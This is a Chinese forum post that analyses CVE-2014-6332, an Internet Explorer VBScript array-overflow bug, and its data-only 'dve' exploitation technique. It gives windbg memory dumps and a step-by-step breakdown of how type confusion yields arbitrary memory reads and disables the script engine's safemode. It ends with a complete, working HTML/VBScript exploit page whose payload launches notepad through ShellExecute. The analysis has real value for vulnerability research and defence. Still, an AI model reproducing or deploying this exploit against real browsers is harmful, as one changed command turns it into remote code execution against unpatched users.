[原创]CVE-2014-6332的dve利用分析
(几天前写好,一直懒得画图,睡不着补上图发出来,水平有限,望多加指正。)
Part 1:
首先通过调试明确几个问题,先是两个关键的数据结构:
VARIANT结构:
VAR struct
struct tagVARIANT
{
union
{
struct __tagVARIANT
{
VARTYPE vt;
WORD wReserved1;
WORD wReserved2;
WORD wReserved3;
union
{
ULONGLONG ullVal; ---VT_UI8
LONGLONG llVal; ---VT_I8
LONG lVal; ---VT_I4 */
BYTE bVal; ---VT_UI1 */
SHORT iVal; ---VT_I2 */
FLOAT fltVal; ---VT_R4 */
DOUBLE dblVal; ---VT_R8 */
VARIANT_BOOL boolVal; ---VT_BOOL */
_VARIANT_BOOL bool; ---(obsolete) */
SCODE scode; ---VT_ERROR */
CY cyVal; ---VT_CY */
DATE date; ---VT_DATE */
BSTR bstrVal; ---VT_BSTR */
IUnknown * punkVal; ---VT_UNKNOWN */
IDispatch * pdispVal; ---VT_DISPATCH */
SAFEARRAY * parray; ---VT_ARRAY */
BYTE * pbVal; ---VT_BYREF|VT_UI1 */
SHORT * piVal; ---VT_BYREF|VT_I2 */
LONG * plVal; ---VT_BYREF|VT_I4 */
LONGLONG * pllVal; ---VT_BYREF|VT_I8 */
FLOAT * pfltVal; ---VT_BYREF|VT_R4 */
DOUBLE * pdblVal; ---VT_BYREF|VT_R8 */
VARIANT_BOOL *pboolVal; ---VT_BYREF|VT_BOOL */
_VARIANT_BOOL *pbool; ---(obsolete) */
SCODE * pscode; ---VT_BYREF|VT_ERROR */
CY * pcyVal; ---VT_BYREF|VT_CY */
DATE * pdate; ---VT_BYREF|VT_DATE */
BSTR * pbstrVal; ---VT_BYREF|VT_BSTR */
IUnknown ** ppunkVal; ---VT_BYREF|VT_UNKNOWN */
IDispatch ** ppdispVal; ---VT_BYREF|VT_DISPATCH */
SAFEARRAY ** pparray; ---VT_BYREF|VT_ARRAY */
VARIANT * pvarVal; ---VT_BYREF|VT_VARIANT */
PVOID byref; ---Generic ByRef */
CHAR cVal; ---VT_I1 */
USHORT uiVal; ---VT_UI2 */
ULONG ulVal; ---VT_UI4 */
INT intVal; ---VT_INT */
UINT uintVal; ---VT_UINT */
DECIMAL * pdecVal; ---VT_BYREF|VT_DECIMAL */
CHAR * pcVal; ---VT_BYREF|VT_I1 */
USHORT * puiVal; ---VT_BYREF|VT_UI2 */
ULONG * pulVal; ---VT_BYREF|VT_UI4 */
ULONGLONG * pullVal; --- VT_BYREF|VT_UI8 */
INT * pintVal; ---VT_BYREF|VT_INT */
UINT * puintVal; ---VT_BYREF|VT_UINT
struct __tagBRECORD
{
PVOID pvRecord;
IRecordInfo * pRecInfo;
} __VARIANT_NAME_4; --- VT_RECORD
} __VARIANT_NAME_3;
} __VARIANT_NAME_2;
DECIMAL decVal;
} __VARIANT_NAME_1;
};
Vbs中赋值操作都是将要赋值的内容包装成0x10大小的VARIANT进行赋值。其中vt表示所包装的数据类型,其值包括以下情况:
VT_EMPTY = 0,
VT_NULL = 1,
VT_I2 = 2,
VT_I4 = 3,
VT_R4 = 4,
VT_R8 = 5,
VT_CY = 6,
VT_DATE = 7,
VT_BSTR = 8,
VT_DISPATCH = 9,
VT_ERROR = 10,
VT_BOOL = 11,
VT_VARIANT = 12,
VT_UNKNOWN = 13,
VT_UI1 = 17,
VT_RESERVED = 0x8000
VT_BYREF = 0x4000
VT_ARRAY = 0x2000
VT_FUNC = 0x4c
接着是SAFEARRAY结构
SafeArray struct
typedef struct tagSAFEARRAY
{
USHORT cDims; //描述数组的维度
USHORT fFeatures;
ULONG cbElements; //数组中每个元素的大小
ULONG cLocks;
PVOID pvData; //指向数组元素
SAFEARRAYBOUND rgsabound[ 1 ];
// 1表示当前数组只有1维,该数组中每个元素表示相应的数组维的内容。
} SAFEARRAY;
typedef struct tagSAFEARRAYBOUND
{
ULONG cElements; //数组当前维的元素个数
LONG lLbound;//当前维的起始索引
} SAFEARRAYBOUND;
==============以下代码测试环境:xpsp3 + ie8==============
【代码片段:1】
…
dim a()
redim a(4)
redim a(5)
redim preserve a(6)
…
对应
bu vbscript!MakeArray+0x69 ".printf \"safearray obj addr : 0x%x\",eax;.echo;g"
bu vbscript!RedimPreserveArray+0x49 ".printf \"redimpreserve safearray obj addr : 0x%x\",ebx;.echo;g"
即redim 对应MakeArray 中调用的SafeArrayCreate
redim preserve 对应 RedimPreserveArray 中调用的SafeArrayRedim
【代码片段:2】
dim aa()
dim ab()
function xx()
on error resume next
redim aa(5)
redim ab(5)
redim Preserve aa(6)
redim ab(6)
redim Preserve aa(&h8000000)
ab(0)=1.123456789012345678901234567890
aa(6) = 10
'aa(6)和ab(0)离得最近的情况:aa(7)的后16字节覆盖ab(0)的前16个字节,ab(0)的后16字节覆盖aa(8)的前8个字节
Trim("end, stop to check")
end function
(Trim的作用相当于jscript中的Math.atan2())
调试结果:
safearray obj addr : 0x20c1f0
safearray obj addr : 0x20c4f0
redimpreserve safearray obj addr : 0x20c1f0
safearray obj addr : 0x20c4f0
redimpreserve safearray obj addr : 0x20c1f0
end, stop to check
eax=037414c4 ebx=020df5c8 ecx=037998a4 edx=020df540 esi=003bf420 edi=00000001
eip=03753abd esp=020df45c ebp=020df46c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsTrim:
03753abd 8bff mov edi,edi
1:027> dd 0x20c1f0 l8
0020c1f0 08800001 00000010 00000000 0021da28
0020c200 00000007 00000000 eaa8a741 ff080100
1:027> dd 0x20c4f0 l8
0020c4f0 08800001 00000010 00000000 0021daa0
0020c500 00000007 00000000 eaa8a7a1 ff0c0100
aa()如果元素足够多,势必会和ab()中的元素发生错位重叠。如下所示:
0021da28
0021da38
…
0021daa8 (开始和ab()中的元素发生重叠)
0021dab8
…
0021daa0(开始和aa()中的元素发生重叠)
0021dab0
…
【代码片段3】
…
Trim("before first")
aa(0) = null
Trim("after first")
…
Trim(“after first”)执行时:
aa数组的内存分布:
0020f2e8 00000001 00000000 003becec 00000000 aa(0)
0020f2f8 00000000 00000000 00000000 00000000 aa(1)
0020f308 00000000 00000000 00000000 00000000 aa(2)
0020f318 00000000 00000000 00000000 00000000 aa(3)
0020f328 00000000 00000000 00000000 00000000 aa(4)
0020f338 00000000 00000000 00000000 00000000 aa(5)
1:026> db 003becec
003becec 62 00 65 00 66 00 6f 00-72 00 65 00 20 00 66 00 b.e.f.o.r.e. .f.
003becfc 69 00 72 00 73 00 74 00-00 00 00 00 ea 34 b7 60 i.r.s.t......4.`
…
也就是说当前aa(0)的数据指向Trim的参数,但是VT还是null的类型,当前求值栈中内存情况:
003bf7e0 00000008 00000000 003bed10 00000000
003bf7f0 00000000 00000000 00000000 00000000
…
1:026> db 003bed10
003bed10 61 00 66 00 74 00 65 00-72 00 20 00 66 00 69 00 a.f.t.e.r. .f.i.
003bed20 72 00 73 00 74 00 00 00-ca 86 b9 83 24 00 00 00 r.s.t.......$...
…
当前求值栈中放置的是当前Trim的参数。
【代码片段4】
…
Trim("before first")
aa(0) = 1.1910304383327914e-147
aa(0) = null
Trim("after first")
…
Trim(“before first”)执行结束后,vbs虚拟机求值栈中内存情况:
003bf2e8 00000008 00000000 003bf5d4 00000000
003bf2f8 00000000 00000000 00000000 00000000
…
1:029> db 003bf5d4
003bf5d4 62 00 65 00 66 00 6f 00-72 00 65 00 20 00 66 00 b.e.f.o.r.e. .f.
003bf5e4 69 00 72 00 73 00 74 00-00 00 00 00 ea 34 b7 60 i.r.s.t......4.`
…
还保留着Trim的参数。
执行aa(0) = 1.1910304383327914e-147后求值栈内存:
003bf2e8 00000005 00000000 6b636168 216e756a
003bf2f8 00000000 00000000 00000000 00000000
其中6b636168 216e756a就是1.1910304383327914e-147的16进制表示,接着执行aa(0) = null,求值栈内存:
003bf2e8 00000001 00000000 6b636168 216e756a
003bf2f8 00000000 00000000 00000000 00000000
…
只修改了VARIANT的类型域,和此时aa(0)的内容一致。
aa(0) 01 00 00 00 00 00 00 00-68 61 63 6b 6a 75 6e 21 ........hackjun!
aa(1) 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
aa(2) 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
…
【修改为代码片段5】
sub testsub()
Trim("in testsub")
end sub
function xx()
on error resume next
redim aa(5)
Trim("before first")
aa(0) = testsub
aa(0) = null
Trim("after first")
Trim("end, stop to check")
end function
执行aa(0) = testsub时求值栈内存情况
003bfdf0 0000004c 7c930202 003bfe78 7c9301bb
003bfe00 00000000 00000000 00000000 00000000
…
1:024> ln poi(003bfe78)
(03864e48) vbscript!CScriptEntryPoint::`vftable' | (0388c754) vbscript!CEntryPointDispatch::`vftable'
Exact matches:
vbscript!CScriptEntryPoint::`vftable' = <no type information>
1:023> ln poi(poi(poi(003bfe78+8)+0x10))
(03864790) vbscript!COleScript::`vftable' | (038647f8) vbscript!VBAErr::`vftable'
Exact matches:
vbscript!COleScript::`vftable' = <no type information>
接着aa(0) = null
003bfdf0 00000001 7c930202 003bfe78 7c9301bb
003bfe00 00000000 00000000 00000000 00000000
…
综上实验结果结论:在vbs虚拟机中在进行xy = null的操作时,只会修改xy的类型域值为1,而数据区内容则和当前求值栈中残留的数据一致。
综上代码片段3-5的分析:可通过过程函数赋值泄露CEntryPointDispatch 进而泄露COleScript对象。
Part 2:
几个关键问题之后综合分析CVE-2014-6332的dve利用代码,略过诸如浏览器版本判断等内容。
...
Begin()
Function Begin()
BeginInit() '初始化一些变量
If Create() = True then
…
setnotsafemode() '关掉SafeMode,然后runmumaa()
…
End function
Function Create()
…
For i = 0 to 400
If Over() = True then
Create = True
Exit for
End if
Next
End function
从Over()函数开始分析
function Over()
On Error Resume Next
dim type1,type2,type3
Over = False
a0=a0+a3
a1=a0+2
a2=a0+&h8000000
redim Preserve aa(a0)
redim ab(a0)
redim Preserve aa(a2)
'以上代码片段触发漏洞导致aa覆盖ab,原理见代码片段2
type1=1
ab(0)=1.123456789012345678901234567890
'内存顺序 66 6f 74 d3 | df 9f f1 3f
aa(a0)=10
If(IsObject(aa(a1-1)) = False) Then
if(intVersion<4) then
mem=cint(a0+1)*16
j=vartype(aa(a1-1))
if((j = mem+4) or (j*8=mem+8)) then
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
else
redim Preserve aa(a0)
exit function
end if
else
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
end if
end if
/*******
以上代码的目的是通过遍历aa()中的元素类型进而定位和ab(0)首次发生诸如代码片段2中描述的重叠错位情况下的aa()的元素索引,即a1。
在上面代码:
redim Preserve aa(a0)
redim ab(a0)
两句执行结束后,ab(0)与aa(a0)的“距离”最贴近的时候,内存布局如下图所示:

ab(0)=1.123456789012345678901234567890执行后,
aa(a1)中 Z : 0xd3746f66 W : 0x3ff19fdf,接着vartype获取类型,因为

0x6f66 and 0x0FFFFBFFF = 0x02f66
*******/
If(type1=&h2f66) Then
Over=True
End If
If(type1=&hB9AD) Then
Over=True
win9x=1
End If
redim Preserve aa(a0)
end function
Over = True --> Create = True --> …
myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
myarray= myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
myarray数据内存顺序 :

如果将上面的内存顺序对应为SafeArray结构布局

表示某一维字节数组,数组的元素个数是0x7fff0000个,也就是说数组能覆盖的内存范围:
0x00000000~0x00000000+0x7fff0000*1= 0x7fff0000
接下来就是setnotsafemode,先看看mydata()
function mydata()
On Error Resume Next
i=testaa
i=null
redim Preserve aa(a2)
'以上代码类似代码片段5,i中保存过程testaa的信息,同时其类型域被修改为1
ab(0)=0
aa(a1)=i
ab(0)=6.36598737437801E-314
'内存顺序 03 00 00 00 | 03 00 00 00,把aa(a1)的类型域值改为3,即VT_I4,表示LONG。
aa(a1+2) = myarray
ab(2) = 1.74088534731324E-310
'内存顺序 0c 20 00 00 | 0c 20 00 00,改变aa(a1+2)的类型域VT_ARRAY | VT_VARIANT
/****
aa(a1+2) = myarray,由于myarray的类型是字符串,此时aa(a1+2)对应内存布局:

经过类型修改后:

如之前分析的,此时aa(a1+2)便是可以访问内存0x0000000~0x7fff0000的一维字节数组,数组元素0x7fff0000个。
***/
mydata=aa(a1)
/****
此时aa(a1)对应的内存布局示意图:

由之前的分析可知,此时:
0xp4p3p2p1指向CScriptEntryPoint
ln poi(poi(poi( 0xp4p3p2p1 +8)+0x10)) 应该能定位到COleScript,mydata函数返回0xp4p3p2p1
***/
redim Preserve aa(a0)
end function
function setnotsafemode()
On Error Resume Next
i=mydata()
i=readmemo(i+8)
i=readmemo(i+16)
j=readmemo(i+&h134)
/***
通过COleScript偏移0x134读取safemode(不同ie版本safemode相对COleScript的偏移不同)
***/
for k=0 to &h60 step 4
j=readmemo(i+&h120+k)
if(j=14) then
j=0
redim Preserve aa(a2)
aa(a1+2)(i+&h11c+k) = ab(4)
'关掉 safemode
redim Preserve aa(a0)
j=0
j=readmemo(i+&h120+k)
Exit for
end if
/***
正常情况下safemode的值是0xE,从COleScript偏移0x120处遍历定位safemode,因为aa(a1+2)可访问内存0~0x7fff0000,定位safemode在aa(a1+2) (i+&h120+k),要使得该处为0,aa(a1+2)(i + &h120 – 8 + k) = ab(4)。(赋值操作以打包的VARIANT, - 8操作是为了使值正好落在VARIANT结构偏移8的位置,ab(4)之前未赋值的情况下,被初始化为0)
***/
next
ab(2)=1.69759663316747E-313
'内存顺序:08 00 00 00 | 08 00 00 00,恢复aa(a1+2)的类型域为VT_BSTR
runmumaa()
end function
再看看readmemo
function ReadMemo(add)
On Error Resume Next
redim Preserve aa(a2)
ab(0)=0
aa(a1)=add+4
ab(0)=1.69759663316747E-313
'内存顺序:08 00 00 00 | 08 00 00 00,修改aa(a1)的类型为08 VT_BSTR
ReadMemo=lenb(aa(a1))
/***
aa(a1)对应的VARIANT的前后变化:

被type consufse成BSTR后,add+4指向字符串,又因为BSTR结构如下:

add+4指向string data起始地址,len(aa(a1))返回该BSTR中size的内容,也就是读取add的内容。由此ReadMemo完成对任意地址add内容的读取。
***/
ab(0)=0 '恢复
redim Preserve aa(a0)
end function
综上,完成将safemode置0后,runmumaa()弹记事本。
总结:
1. 数组错位重叠,type confuse,获取任意内存操控能力。
2. Vbs虚拟机中对变量进行赋null值,会使得被赋值对象携带上求值栈上残留的数据。利用此特性,可让变量携带上函数过程信息,进而最终泄露COleScript对象,定位safemode。
附上yuange的完整CVE-2014-6332利用代码
<!doctype html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<head>
</head>
<body>
<SCRIPT LANGUAGE="VBScript">
function runmumaa()
On Error Resume Next
set shell=createobject("Shell.Application")
shell.ShellExecute "notepad.exe"
end function
</script>
<SCRIPT LANGUAGE="VBScript">
dim aa()
dim ab()
dim a0
dim a1
dim a2
dim a3
dim win9x
dim intVersion
dim rnda
dim funclass
dim myarray
Begin()
function Begin()
On Error Resume Next
info=Navigator.UserAgent
if(instr(info,"Win64")>0) then
exit function
end if
if (instr(info,"MSIE")>0) then
intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
else
exit function
end if
win9x=0
BeginInit()
If Create()=True Then
myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
if(intVersion<4) then
document.write("<br> IE")
document.write(intVersion)
runshellcode()
else
setnotsafemode()
end if
end if
end function
function BeginInit()
Randomize()
redim aa(5)
redim ab(5)
a0=13+17*rnd(6)
a3=7+3*rnd(5)
end function
function Create()
On Error Resume Next
dim i
Create=False
For i = 0 To 400
If Over()=True Then
' document.write(i)
Create=True
Exit For
End If
Next
end function
sub testaa()
end sub
function mydata()
On Error Resume Next
i=testaa
i=null
redim Preserve aa(a2)
ab(0)=0
aa(a1)=i
ab(0)=6.36598737437801E-314
aa(a1+2)=myarray
ab(2)=1.74088534731324E-310
mydata=aa(a1)
redim Preserve aa(a0)
end function
function setnotsafemode()
On Error Resume Next
i=mydata()
i=readmemo(i+8)
i=readmemo(i+16)
j=readmemo(i+&h134)
for k=0 to &h60 step 4
j=readmemo(i+&h120+k)
if(j=14) then
j=0
redim Preserve aa(a2)
aa(a1+2)(i+&h11c+k)=ab(4)
redim Preserve aa(a0)
j=0
j=readmemo(i+&h120+k)
Exit for
end if
next
ab(2)=1.69759663316747E-313
runmumaa()
end function
function Over()
On Error Resume Next
dim type1,type2,type3
Over=False
a0=a0+a3
a1=a0+2
a2=a0+&h8000000
redim Preserve aa(a0)
redim ab(a0)
redim Preserve aa(a2)
type1=1
ab(0)=1.123456789012345678901234567890
aa(a0)=10
If(IsObject(aa(a1-1)) = False) Then
if(intVersion<4) then
mem=cint(a0+1)*16
j=vartype(aa(a1-1))
if((j=mem+4) or (j*8=mem+8)) then
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
else
redim Preserve aa(a0)
exit function
end if
else
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
end if
end if
If(type1=&h2f66) Then
Over=True
End If
If(type1=&hB9AD) Then
Over=True
win9x=1
End If
redim Preserve aa(a0)
end function
function ReadMemo(add)
On Error Resume Next
redim Preserve aa(a2)
ab(0)=0
aa(a1)=add+4
ab(0)=1.69759663316747E-313
ReadMemo=lenb(aa(a1))
ab(0)=0
redim Preserve aa(a0)
end function
</script>
</body>
</html>
